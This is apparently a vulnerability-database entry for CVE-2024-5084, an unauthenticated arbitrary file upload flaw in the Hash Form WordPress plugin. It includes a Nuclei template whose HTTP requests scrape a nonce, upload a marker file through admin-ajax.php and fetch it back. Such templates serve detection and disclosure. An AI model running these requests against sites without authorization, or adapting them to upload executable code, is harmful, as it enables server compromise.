CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
97.2%
The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
id: CVE-2024-5084
info:
name: Hash Form <= 1.1.0 - Arbitrary File Upload
author: securityforeveryone
severity: critical
description: |
The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
remediation: Fixed in 1.1.1
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-5084
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
- https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-5084
epss-score: 0.00063
epss-percentile: 0.27036
metadata:
verified: true
max-request: 1
vendor: HashThemes
product: Hash Form
framework: wordpress
publicwww-query: "/wp-content/plugins/hash-form/"
tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive
variables:
filename: "{{rand_base(5)}}"
num: "{{rand_int(1000, 9999)}}"
http:
- raw:
- |
GET / HTTP /1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{md5(num)}}
- |
GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
- 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
condition: and
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"ajax_nounce":"([0-9a-z]+)","preview_img'
internal: true
# digest: 4a0a00473045022031903fcaa4d2765a2948e67ebb0ffdf4f51f2b6715ec1426f372476ab7cc1f54022100f6f757d7bdbf2faee44dd9dc6faf67322cd1ff0f7c07430c9bd4e9f9bbec82c0:922c64590222798bb761d5b6d8e72950
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
EPSS
Percentile
97.2%